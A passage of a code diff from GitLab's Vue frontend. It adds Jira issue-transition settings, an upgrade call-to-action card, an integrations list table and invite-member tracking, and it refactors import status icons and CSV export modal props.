+ text: __('Pending'),
+ iconClass: 'gl-text-orange-400',
};
const STATUS_MAP = {
+ [STATUSES.NONE]: {
+ icon: 'status-waiting',
+ text: __('Not started'),
+ iconClass: 'gl-text-gray-400',
+ },
+ [STATUSES.SCHEDULING]: SCHEDULED_STATUS,
+ [STATUSES.SCHEDULED]: SCHEDULED_STATUS,
+ [STATUSES.CREATED]: SCHEDULED_STATUS,
+ [STATUSES.STARTED]: {
+ icon: 'status-running',
+ text: __('Importing...'),
+ iconClass: 'gl-text-blue-400',
+ },
[STATUSES.FINISHED]: {
- icon: 'success',
- text: __('Done'),
- textClass: 'text-success',
+ icon: 'status-success',
+ text: __('Complete'),
+ iconClass: 'gl-text-green-400',
},
[STATUSES.FAILED]: {
- icon: 'failed',
+ icon: 'status-failed',
text: __('Failed'),
- textClass: 'text-danger',
- },
- [STATUSES.CREATED]: {
- icon: 'pending',
- text: __('Scheduled'),
- textClass: 'text-warning',
- },
- [STATUSES.SCHEDULED]: {
- icon: 'pending',
- text: __('Scheduled'),
- textClass: 'text-warning',
- },
- [STATUSES.STARTED]: {
- icon: 'running',
- text: __('Running…'),
- textClass: 'text-info',
- },
- [STATUSES.NONE]: {
- icon: 'created',
- text: __('Not started'),
- textClass: 'text-muted',
+ iconClass: 'gl-text-red-600',
},
- [STATUSES.SCHEDULING]: {
- loadingIcon: true,
- text: __('Scheduling'),
- textClass: 'text-warning',
+ [STATUSES.CANCELLED]: {
+ icon: 'status-stopped',
+ text: __('Cancelled'),
+ iconClass: 'gl-text-red-600',
},
};
diff --git a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
index ebb09947663..a803afeb901 100644
--- a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
+++ b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
@@ -111,7 +111,7 @@ export default {
</gl-link>
</td>
<td
- class="gl-display-flex gl-flex-sm-wrap gl-p-4 gl-pt-5 gl-vertical-align-top"
+ class="gl-display-flex gl-sm-flex-wrap gl-p-4 gl-pt-5 gl-vertical-align-top"
data-testid="fullPath"
data-qa-selector="project_path_content"
>
diff --git a/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue b/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
index 9d5f37dc3b7..0746725153d 100644
--- a/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
+++ b/app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue
@@ -26,7 +26,10 @@ export default {
class="settings no-animate qa-incident-management-settings"
>
<div class="settings-header">
- <h4 ref="sectionHeader">
+ <h4
+ ref="sectionHeader"
+ class="settings-title js-settings-toggle js-settings-toggle-trigger-only"
+ >
{{ $options.i18n.headerText }}
</h4>
<gl-button ref="toggleBtn" class="js-settings-toggle">{{
diff --git a/app/assets/javascripts/integrations/edit/components/dynamic_field.vue b/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
index a4baca20ac9..3655f94f06f 100644
--- a/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
+++ b/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
@@ -3,7 +3,6 @@
import { GlFormGroup, GlFormCheckbox, GlFormInput, GlFormSelect, GlFormTextarea } from '@gitlab/ui';
import { capitalize, lowerCase, isEmpty } from 'lodash';
import { mapGetters } from 'vuex';
-import { __, sprintf } from '~/locale';
import eventHub from '../event_hub';
export default {
@@ -77,14 +76,6 @@ export default {
isNonEmptyPassword() {
return this.isPassword && !isEmpty(this.value);
},
- label() {
- if (this.isNonEmptyPassword) {
- return sprintf(__('Enter new %{field_title}'), {
- field_title: this.humanizedTitle,
- });
- }
- return this.humanizedTitle;
- },
humanizedTitle() {
return this.title || capitalize(lowerCase(this.name));
},
@@ -136,7 +127,7 @@ export default {
<template>
<gl-form-group
- :label="label"
+ :label="humanizedTitle"
:label-for="fieldId"
:invalid-feedback="__('This field is required.')"
:state="valid"
diff --git a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
index d3d1fd8ddc3..aea4a8b1c0b 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
@@ -1,15 +1,8 @@
<script>
-import {
- GlFormGroup,
- GlFormCheckbox,
- GlFormInput,
- GlSprintf,
- GlLink,
- GlButton,
- GlCard,
-} from '@gitlab/ui';
+import { GlFormGroup, GlFormCheckbox, GlFormInput, GlSprintf, GlLink } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import eventHub from '../event_hub';
+import JiraUpgradeCta from './jira_upgrade_cta.vue';
export default {
name: 'JiraIssuesFields',
@@ -19,8 +12,7 @@ export default {
GlFormInput,
GlSprintf,
GlLink,
- GlButton,
- GlCard,
+ JiraUpgradeCta,
JiraIssueCreationVulnerabilities: () =>
import('ee_component/integrations/edit/components/jira_issue_creation_vulnerabilities.vue'),
},
@@ -84,11 +76,13 @@ export default {
return !this.enableJiraIssues || Boolean(this.projectKey) || !this.validated;
},
showJiraVulnerabilitiesOptions() {
- return (
- this.enableJiraIssues &&
- this.showJiraVulnerabilitiesIntegration &&
- this.glFeatures.jiraForVulnerabilities
- );
+ return this.showJiraVulnerabilitiesIntegration && this.glFeatures.jiraForVulnerabilities;
+ },
+ showUltimateUpgrade() {
+ return this.showJiraIssuesIntegration && !this.showJiraVulnerabilitiesIntegration;
+ },
+ showPremiumUpgrade() {
+ return !this.showJiraIssuesIntegration;
},
},
created() {
@@ -129,33 +123,29 @@ export default {
<template #help>
{{
s__(
- 'JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below.',
+ 'JiraService|Warning: All GitLab users that have access to this GitLab project are able to view all issues from the Jira project specified below.',
)
}}
</template>
</gl-form-checkbox>
<jira-issue-creation-vulnerabilities
- v-if="showJiraVulnerabilitiesOptions"
+ v-if="enableJiraIssues"
:project-key="projectKey"
:initial-is-enabled="initialEnableJiraVulnerabilities"
:initial-issue-type-id="initialVulnerabilitiesIssuetype"
+ :show-full-feature="showJiraVulnerabilitiesOptions"
data-testid="jira-for-vulnerabilities"
@request-get-issue-types="getJiraIssueTypes"
/>
</template>
- <gl-card v-else class="gl-mt-7">
- <strong>{{ __('This is a Premium feature') }}</strong>
- <p>{{ __('Upgrade your plan to enable this feature of the Jira Integration.') }}</p>
- <gl-button
- v-if="upgradePlanPath"
- category="primary"
- variant="info"
- :href="upgradePlanPath"
- target="_blank"
- >
- {{ __('Upgrade your plan') }}
- </gl-button>
- </gl-card>
+ <jira-upgrade-cta
+ v-if="showUltimateUpgrade || showPremiumUpgrade"
+ class="gl-mt-2"
+ :class="{ 'gl-ml-6': showUltimateUpgrade }"
+ :upgrade-plan-path="upgradePlanPath"
+ :show-ultimate-message="showUltimateUpgrade"
+ :show-premium-message="showPremiumUpgrade"
+ />
</div>
</gl-form-group>
<template v-if="showJiraIssuesIntegration">
@@ -169,7 +159,7 @@ export default {
id="service_project_key"
v-model="projectKey"
name="service[project_key]"
- :placeholder="s__('JiraService|e.g. AB')"
+ :placeholder="s__('JiraService|For example, AB')"
:required="enableJiraIssues"
:state="validProjectKey"
:disabled="!enableJiraIssues"
diff --git a/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
index af4e9acf4ba..b0f19e5b585 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue
@@ -1,7 +1,16 @@
<script>
-import { GlFormGroup, GlFormCheckbox, GlFormRadio } from '@gitlab/ui';
+import {
+ GlFormGroup,
+ GlFormCheckbox,
+ GlFormRadio,
+ GlFormInput,
+ GlLink,
+ GlSprintf,
+} from '@gitlab/ui';
import { mapGetters } from 'vuex';
+import { helpPagePath } from '~/helpers/help_page_helper';
import { s__ } from '~/locale';
+import eventHub from '../event_hub';
const commentDetailOptions = [
{
@@ -18,12 +27,41 @@ const commentDetailOptions = [
},
];
+const ISSUE_TRANSITION_AUTO = true;
+const ISSUE_TRANSITION_CUSTOM = false;
+
+const issueTransitionOptions = [
+ {
+ value: ISSUE_TRANSITION_AUTO,
+ label: s__('JiraService|Move to Done'),
+ help: s__(
+ 'JiraService|Automatically transitions Jira issues to the "Done" category. %{linkStart}Learn more%{linkEnd}',
+ ),
+ link: helpPagePath('user/project/integrations/jira.html', {
+ anchor: 'automatic-issue-transitions',
+ }),
+ },
+ {
+ value: ISSUE_TRANSITION_CUSTOM,
+ label: s__('JiraService|Use custom transitions'),
+ help: s__(
+ 'JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}',
+ ),
+ link: helpPagePath('user/project/integrations/jira.html', {
+ anchor: 'custom-issue-transitions',
+ }),
+ },
+];
+
export default {
name: 'JiraTriggerFields',
components: {
GlFormGroup,
GlFormCheckbox,
GlFormRadio,
+ GlFormInput,
+ GlLink,
+ GlSprintf,
},
props: {
initialTriggerCommit: {
@@ -43,21 +81,58 @@ export default {
required: false,
default: 'standard',
},
+ initialJiraIssueTransitionAutomatic: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ initialJiraIssueTransitionId: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
data() {
return {
+ validated: false,
triggerCommit: this.initialTriggerCommit,
triggerMergeRequest: this.initialTriggerMergeRequest,
enableComments: this.initialEnableComments,
commentDetail: this.initialCommentDetail,
+ jiraIssueTransitionAutomatic:
+ this.initialJiraIssueTransitionAutomatic || !this.initialJiraIssueTransitionId,
+ jiraIssueTransitionId: this.initialJiraIssueTransitionId,
+ issueTransitionEnabled:
+ this.initialJiraIssueTransitionAutomatic || Boolean(this.initialJiraIssueTransitionId),
commentDetailOptions,
+ issueTransitionOptions,
};
},
computed: {
...mapGetters(['isInheriting']),
- showEnableComments() {
+ showTriggerSettings() {
return this.triggerCommit || this.triggerMergeRequest;
},
+ validIssueTransitionId() {
+ return !this.validated || Boolean(this.jiraIssueTransitionId);
+ },
+ },
+ created() {
+ eventHub.$on('validateForm', this.validateForm);
+ },
+ beforeDestroy() {
+ eventHub.$off('validateForm', this.validateForm);
+ },
+ methods: {
+ validateForm() {
+ this.validated = true;
+ },
+ showCustomIssueTransitions(currentOption) {
+ return (
+ this.jiraIssueTransitionAutomatic === ISSUE_TRANSITION_CUSTOM &&
+ currentOption === ISSUE_TRANSITION_CUSTOM
+ );
+ },
},
};
</script>
@@ -69,7 +144,7 @@ export default {
label-for="service[trigger]"
:description="
s__(
- 'Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created.',
+ 'Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created.',
)
"
>
@@ -89,7 +164,7 @@ export default {
</gl-form-group>
<gl-form-group
- v-show="showEnableComments"
+ v-show="showTriggerSettings"
:label="s__('Integrations|Comment settings:')"
label-for="service[comment_on_event_enabled]"
class="gl-pl-6"
@@ -106,7 +181,7 @@ export default {
</gl-form-group>
<gl-form-group
- v-show="showEnableComments && enableComments"
+ v-show="showTriggerSettings && enableComments"
:label="s__('Integrations|Comment detail:')"
label-for="service[comment_detail]"
class="gl-pl-9"
@@ -126,5 +201,67 @@ export default {
</template>
</gl-form-radio>
</gl-form-group>
+
+ <gl-form-group
+ v-if="showTriggerSettings"
+ :label="s__('JiraService|Transition Jira issues to their final state:')"
+ class="gl-pl-6"
+ data-testid="issue-transition-enabled"
+ >
+ <input type="hidden" name="service[jira_issue_transition_automatic]" value="false" />
+ <input type="hidden" name="service[jira_issue_transition_id]" value="" />
+
+ <gl-form-checkbox
+ v-model="issueTransitionEnabled"
+ :disabled="isInheriting"
+ data-qa-selector="service_jira_issue_transition_enabled_checkbox"
+ >
+ {{ s__('JiraService|Enable Jira transitions') }}
+ </gl-form-checkbox>
+ </gl-form-group>
+
+ <gl-form-group
+ v-if="showTriggerSettings && issueTransitionEnabled"
+ class="gl-pl-9"
+ data-testid="issue-transition-mode"
+ >
+ <gl-form-radio
+ v-for="issueTransitionOption in issueTransitionOptions"
+ :key="issueTransitionOption.value"
+ v-model="jiraIssueTransitionAutomatic"
+ name="service[jira_issue_transition_automatic]"
+ :value="issueTransitionOption.value"
+ :disabled="isInheriting"
+ :data-qa-selector="`service_jira_issue_transition_automatic_${issueTransitionOption.value}_radio`"
+ >
+ {{ issueTransitionOption.label }}
+
+ <template v-if="showCustomIssueTransitions(issueTransitionOption.value)">
+ <gl-form-input
+ v-model="jiraIssueTransitionId"
+ name="service[jira_issue_transition_id]"
+ type="text"
+ class="gl-my-3"
+ data-qa-selector="service_jira_issue_transition_id_field"
+ :placeholder="s__('JiraService|For example, 12, 24')"
+ :disabled="isInheriting"
+ :required="true"
+ :state="validIssueTransitionId"
+ />
+
+ <span class="invalid-feedback">
+ {{ __('This field is required.') }}
+ </span>
+ </template>
+
+ <template #help>
+ <gl-sprintf :message="issueTransitionOption.help">
+ <template #link="{ content }">
+ <gl-link :href="issueTransitionOption.link" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </template>
+ </gl-form-radio>
+ </gl-form-group>
</div>
</template>
diff --git a/app/assets/javascripts/integrations/edit/components/jira_upgrade_cta.vue b/app/assets/javascripts/integrations/edit/components/jira_upgrade_cta.vue
new file mode 100644
index 00000000000..9164e484440
--- /dev/null
+++ b/app/assets/javascripts/integrations/edit/components/jira_upgrade_cta.vue
@@ -0,0 +1,51 @@
+<script>
+import { GlButton, GlCard } from '@gitlab/ui';
+import { s__, __ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ GlCard,
+ },
+ props: {
+ upgradePlanPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ showPremiumMessage: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showUltimateMessage: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ title() {
+ return this.showUltimateMessage
+ ? this.$options.i18n.titleUltimate
+ : this.$options.i18n.titlePremium;
+ },
+ },
+ i18n: {
+ titleUltimate: s__('JiraService|This is an Ultimate feature'),
+ titlePremium: s__('JiraService|This is a Premium feature'),
+ content: s__('JiraService|Upgrade your plan to enable this feature of the Jira Integration.'),
+ upgrade: __('Upgrade your plan'),
+ },
+};
+</script>
+
+<template>
+ <gl-card>
+ <strong>{{ title }}</strong>
+ <p>{{ $options.i18n.content }}</p>
+ <gl-button v-if="upgradePlanPath" category="primary" variant="info" :href="upgradePlanPath">
+ {{ $options.i18n.upgrade }}
+ </gl-button>
+ </gl-card>
+</template>
diff --git a/app/assets/javascripts/integrations/edit/components/trigger_fields.vue b/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
index 1bbecea05ad..42bc9e4c8a1 100644
--- a/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/trigger_fields.vue
@@ -10,8 +10,8 @@ const typeWithPlaceholder = {
};
const placeholderForType = {
- [typeWithPlaceholder.SLACK]: __('Slack channels (e.g. general, development)'),
- [typeWithPlaceholder.MATTERMOST]: __('Channel handle (e.g. town-square)'),
+ [typeWithPlaceholder.SLACK]: __('general, development'),
+ [typeWithPlaceholder.MATTERMOST]: __('my-channel'),
};
export default {
diff --git a/app/assets/javascripts/integrations/edit/index.js b/app/assets/javascripts/integrations/edit/index.js
index ab9bdd9ca2e..792e7d8e85e 100644
--- a/app/assets/javascripts/integrations/edit/index.js
+++ b/app/assets/javascripts/integrations/edit/index.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
+import { convertObjectPropsToCamelCase, parseBoolean } from '~/lib/utils/common_utils';
+
import IntegrationForm from './components/integration_form.vue';
import { createStore } from './store';
@@ -28,6 +29,8 @@ function parseDatasetToProps(data) {
testPath,
resetPath,
vulnerabilitiesIssuetype,
+ jiraIssueTransitionAutomatic,
+ jiraIssueTransitionId,
...booleanAttributes
} = data;
const {
@@ -59,6 +62,8 @@ function parseDatasetToProps(data) {
initialTriggerMergeRequest: mergeRequestEvents,
initialEnableComments: enableComments,
initialCommentDetail: commentDetail,
+ initialJiraIssueTransitionAutomatic: jiraIssueTransitionAutomatic,
+ initialJiraIssueTransitionId: jiraIssueTransitionId,
},
jiraIssuesProps: {
showJiraIssuesIntegration,
@@ -73,7 +78,7 @@ function parseDatasetToProps(data) {
},
learnMorePath,
triggerEvents: JSON.parse(triggerEvents),
- fields: JSON.parse(fields),
+ fields: convertObjectPropsToCamelCase(JSON.parse(fields), { deep: true }),
inheritFromId: parseInt(inheritFromId, 10),
integrationLevel,
id: parseInt(id, 10),
diff --git a/app/assets/javascripts/integrations/index/components/integrations_list.vue b/app/assets/javascripts/integrations/index/components/integrations_list.vue
new file mode 100644
index 00000000000..7331437d484
--- /dev/null
+++ b/app/assets/javascripts/integrations/index/components/integrations_list.vue
@@ -0,0 +1,59 @@
+<script>
+import { s__ } from '~/locale';
+import IntegrationsTable from './integrations_table.vue';
+
+export default {
+ name: 'IntegrationsList',
+ components: {
+ IntegrationsTable,
+ },
+ props: {
+ integrations: {
+ type: Array,
+ required: true,
+ },
+ },
+ computed: {
+ integrationsGrouped() {
+ return this.integrations.reduce(
+ (integrations, integration) => {
+ if (integration.active) {
+ integrations.active.push(integration);
+ } else {
+ integrations.inactive.push(integration);
+ }
+
+ return integrations;
+ },
+ { active: [], inactive: [] },
+ );
+ },
+ },
+ i18n: {
+ activeTableEmptyText: s__("Integrations|You haven't activated any integrations yet."),
+ inactiveTableEmptyText: s__("Integrations|You've activated every integration 🎉"),
+ activeIntegrationsHeading: s__('Integrations|Active integrations'),
+ inactiveIntegrationsHeading: s__('Integrations|Add an integration'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h4>{{ $options.i18n.activeIntegrationsHeading }}</h4>
+ <integrations-table
+ class="gl-mb-7!"
+ :integrations="integrationsGrouped.active"
+ :empty-text="$options.i18n.activeTableEmptyText"
+ show-updated-at
+ data-testid="active-integrations-table"
+ />
+
+ <h4>{{ $options.i18n.inactiveIntegrationsHeading }}</h4>
+ <integrations-table
+ :integrations="integrationsGrouped.inactive"
+ :empty-text="$options.i18n.inactiveTableEmptyText"
+ data-testid="inactive-integrations-table"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/integrations/index/components/integrations_table.vue b/app/assets/javascripts/integrations/index/components/integrations_table.vue
new file mode 100644
index 00000000000..439c243f418
--- /dev/null
+++ b/app/assets/javascripts/integrations/index/components/integrations_table.vue
@@ -0,0 +1,95 @@
+<script>
+import { GlIcon, GlLink, GlTable, GlTooltipDirective } from '@gitlab/ui';
+import { sprintf, s__, __ } from '~/locale';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+
+export default {
+ components: {
+ GlIcon,
+ GlLink,
+ GlTable,
+ TimeAgoTooltip,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ integrations: {
+ type: Array,
+ required: true,
+ },
+ showUpdatedAt: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ emptyText: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ },
+ computed: {
+ fields() {
+ return [
+ {
+ key: 'active',
+ label: '',
+ thClass: 'gl-w-10',
+ },
+ {
+ key: 'title',
+ label: __('Integration'),
+ thClass: 'gl-w-quarter',
+ },
+ {
+ key: 'description',
+ label: __('Description'),
+ thClass: 'gl-display-none d-sm-table-cell',
+ tdClass: 'gl-display-none d-sm-table-cell',
+ },
+ {
+ key: 'updated_at',
+ label: this.showUpdatedAt ? __('Last updated') : '',
+ thClass: 'gl-w-20p',
+ },
+ ];
+ },
+ },
+ methods: {
+ getStatusTooltipTitle(integration) {
+ return sprintf(s__('Integrations|%{integrationTitle}: active'), {
+ integrationTitle: integration.title,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-table :items="integrations" :fields="fields" :empty-text="emptyText" show-empty fixed>
+ <template #cell(active)="{ item }">
+ <gl-icon
+ v-if="item.active"
+ v-gl-tooltip
+ name="check"
+ class="gl-text-green-500"
+ :title="getStatusTooltipTitle(item)"
+ />
+ </template>
+
+ <template #cell(title)="{ item }">
+ <gl-link
+ :href="item.edit_path"
+ class="gl-font-weight-bold"
+ :data-qa-selector="`${item.name}_link`"
+ >
+ {{ item.title }}
+ </gl-link>
+ </template>
+
+ <template #cell(updated_at)="{ item }">
+ <time-ago-tooltip v-if="showUpdatedAt && item.updated_at" :time="item.updated_at" />
+ </template>
+ </gl-table>
+</template>
diff --git a/app/assets/javascripts/integrations/index/index.js b/app/assets/javascripts/integrations/index/index.js
new file mode 100644
index 00000000000..09dca3a6d02
--- /dev/null
+++ b/app/assets/javascripts/integrations/index/index.js
@@ -0,0 +1,23 @@
+import Vue from 'vue';
+import IntegrationList from './components/integrations_list.vue';
+
+export default () => {
+ const el = document.querySelector('.js-integrations-list');
+
+ if (!el) {
+ return null;
+ }
+
+ const { integrations } = el.dataset;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(IntegrationList, {
+ props: {
+ integrations: JSON.parse(integrations),
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/invite_member/components/invite_member_modal.vue b/app/assets/javascripts/invite_member/components/invite_member_modal.vue
index 144c1a2c22a..ec77e49ae53 100644
--- a/app/assets/javascripts/invite_member/components/invite_member_modal.vue
+++ b/app/assets/javascripts/invite_member/components/invite_member_modal.vue
@@ -19,8 +19,10 @@ export default {
GlLink,
GlModal,
},
- inject: {
+ props: {
membersPath: {
+ type: String,
+ required: false,
default: '',
},
},
diff --git a/app/assets/javascripts/invite_member/components/invite_member_trigger.vue b/app/assets/javascripts/invite_member/components/invite_member_trigger.vue
index 56cf1ab2fc2..ee89e0bbf71 100644
--- a/app/assets/javascripts/invite_member/components/invite_member_trigger.vue
+++ b/app/assets/javascripts/invite_member/components/invite_member_trigger.vue
@@ -7,14 +7,20 @@ export default {
components: {
GlLink,
},
- inject: {
+ props: {
displayText: {
+ type: String,
+ required: false,
default: '',
},
event: {
+ type: String,
+ required: false,
default: '',
},
label: {
+ type: String,
+ required: false,
default: '',
},
},
diff --git a/app/assets/javascripts/invite_member/init_invite_member_modal.js b/app/assets/javascripts/invite_member/init_invite_member_modal.js
index c292bda1931..a50d31c9e7a 100644
--- a/app/assets/javascripts/invite_member/init_invite_member_modal.js
+++ b/app/assets/javascripts/invite_member/init_invite_member_modal.js
@@ -1,13 +1,17 @@
import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
+import { isInIssuePage, isInDesignPage } from '~/lib/utils/common_utils';
import InviteMemberModal from './components/invite_member_modal.vue';
Vue.use(GlToast);
+const isAssigneesWidgetShown =
+ (isInIssuePage() || isInDesignPage()) && gon.features.issueAssigneesWidget;
+
export default function initInviteMembersModal() {
const el = document.querySelector('.js-invite-member-modal');
- if (!el) {
+ if (!el || isAssigneesWidgetShown) {
return false;
}
@@ -15,7 +19,9 @@ export default function initInviteMembersModal() {
return new Vue({
el,
- provide: { membersPath },
- render: (createElement) => createElement(InviteMemberModal),
+ render: (createElement) =>
+ createElement(InviteMemberModal, {
+ props: { membersPath },
+ }),
});
}
diff --git a/app/assets/javascripts/invite_member/init_invite_member_trigger.js b/app/assets/javascripts/invite_member/init_invite_member_trigger.js
index 5e763e4f47d..eb765ae83b0 100644
--- a/app/assets/javascripts/invite_member/init_invite_member_trigger.js
+++ b/app/assets/javascripts/invite_member/init_invite_member_trigger.js
@@ -10,7 +10,9 @@ export default function initInviteMembersTrigger() {
return new Vue({
el,
- provide: { ...el.dataset },
- render: (createElement) => createElement(InviteMemberTrigger),
+ render: (createElement) =>
+ createElement(InviteMemberTrigger, {
+ props: { ...el.dataset },
+ }),
});
}
diff --git a/app/assets/javascripts/invite_members/components/invite_members_modal.vue b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
index 47f1405c980..d00a0f1633b 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_modal.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
@@ -11,10 +11,12 @@ import {
} from '@gitlab/ui';
import { partition, isString } from 'lodash';
import Api from '~/api';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
import GroupSelect from '~/invite_members/components/group_select.vue';
import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { s__, sprintf } from '~/locale';
+import { INVITE_MEMBERS_IN_COMMENT } from '../constants';
import eventHub from '../event_hub';
export default {
@@ -122,8 +124,9 @@ export default {
usersToAddById.map((user) => user.id).join(','),
];
},
- openModal({ inviteeType }) {
+ openModal({ inviteeType, source }) {
this.inviteeType = inviteeType;
+ this.source = source;
this.$root.$emit(BV_SHOW_MODAL, this.modalId);
},
@@ -138,6 +141,12 @@ export default {
}
this.closeModal();
},
+ trackInvite() {
+ if (this.source === INVITE_MEMBERS_IN_COMMENT) {
+ const tracking = new ExperimentTracking(INVITE_MEMBERS_IN_COMMENT);
+ tracking.event('comment_invite_success');
+ }
+ },
cancelInvite() {
this.selectedAccessLevel = this.defaultAccessLevel;
this.selectedDate = undefined;
@@ -177,6 +186,8 @@ export default {
promises.push(apiAddByUserId(this.id, this.addByUserIdPostData(usersToAddById)));
}
+ this.trackInvite();
+
Promise.all(promises).then(this.showToastMessageSuccess).catch(this.showToastMessageError);
},
inviteByEmailPostData(usersToInviteByEmail) {
@@ -211,9 +222,9 @@ export default {
},
labels: {
members: {
- modalTitle: s__('InviteMembersModal|Invite team members'),
- searchField: s__('InviteMembersModal|GitLab member or Email address'),
- placeHolder: s__('InviteMembersModal|Search for members to invite'),
+ modalTitle: s__('InviteMembersModal|Invite members'),
+ searchField: s__('InviteMembersModal|GitLab member or email address'),
+ placeHolder: s__('InviteMembersModal|Select members or type email addresses'),
toGroup: {
introText: s__(
"InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group.",
diff --git a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
index 666693e934f..e297bb6c806 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_trigger.vue
@@ -1,10 +1,11 @@
<script>
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlLink } from '@gitlab/ui';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
export default {
- components: { GlButton },
+ components: { GlButton, GlLink },
props: {
displayText: {
type: String,
@@ -26,10 +27,65 @@ export default {
required: false,
default: undefined,
},
+ triggerSource: {
+ type: String,
+ required: false,
+ default: 'unknown',
+ },
+ trackExperiment: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ triggerElement: {
+ type: String,
+ required: false,
+ default: 'button',
+ },
+ event: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ label: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ computed: {
+ isButton() {
+ return this.triggerElement === 'button';
+ },
+ componentAttributes() {
+ const baseAttributes = {
+ class: this.classes,
+ 'data-qa-selector': 'invite_members_button',
+ };
+
+ if (this.event && this.label) {
+ return {
+ ...baseAttributes,
+ 'data-track-event': this.event,
+ 'data-track-label': this.label,
+ };
+ }
+
+ return baseAttributes;
+ },
+ },
+ mounted() {
+ this.trackExperimentOnShow();
},
methods: {
openModal() {
- eventHub.$emit('openModal', { inviteeType: 'members' });
+ eventHub.$emit('openModal', { inviteeType: 'members', source: this.triggerSource });
+ },
+ trackExperimentOnShow() {
+ if (this.trackExperiment) {
+ const tracking = new ExperimentTracking(this.trackExperiment);
+ tracking.event('comment_invite_shown');
+ }
},
},
};
@@ -37,12 +93,15 @@ export default {
<template>
<gl-button
- :class="classes"
- :icon="icon"
+ v-if="isButton"
+ v-bind="componentAttributes"
:variant="variant"
- data-qa-selector="invite_members_button"
+ :icon="icon"
@click="openModal"
>
{{ displayText }}
</gl-button>
+ <gl-link v-else v-bind="componentAttributes" data-is-link="true" @click="openModal">
+ {{ displayText }}
+ </gl-link>
</template>
diff --git a/app/assets/javascripts/invite_members/constants.js b/app/assets/javascripts/invite_members/constants.js
index 2044dad896f..a651b81c60e 100644
--- a/app/assets/javascripts/invite_members/constants.js
+++ b/app/assets/javascripts/invite_members/constants.js
@@ -1 +1,3 @@
export const SEARCH_DELAY = 200;
+
+export const INVITE_MEMBERS_IN_COMMENT = 'invite_members_in_comment';
diff --git a/app/assets/javascripts/issuable/components/csv_export_modal.vue b/app/assets/javascripts/issuable/components/csv_export_modal.vue
index 78987a5c629..7bdd55ddda3 100644
--- a/app/assets/javascripts/issuable/components/csv_export_modal.vue
+++ b/app/assets/javascripts/issuable/components/csv_export_modal.vue
@@ -12,19 +12,23 @@ export default {
},
inject: {
issuableType: {
- default: '',
- },
- issuableCount: {
- default: 0,
+ default: ISSUABLE_TYPE.issues,
},
email: {
default: '',
},
+ },
+ props: {
exportCsvPath: {
+ type: String,
+ required: false,
default: '',
},
- },
- props: {
+ issuableCount: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
modalId: {
type: String,
required: true,
diff --git a/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue b/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
index bbf4160ce35..fb4d5aca2f5 100644
--- a/app/assets/javascripts/issuable/components/csv_import_export_buttons.vue
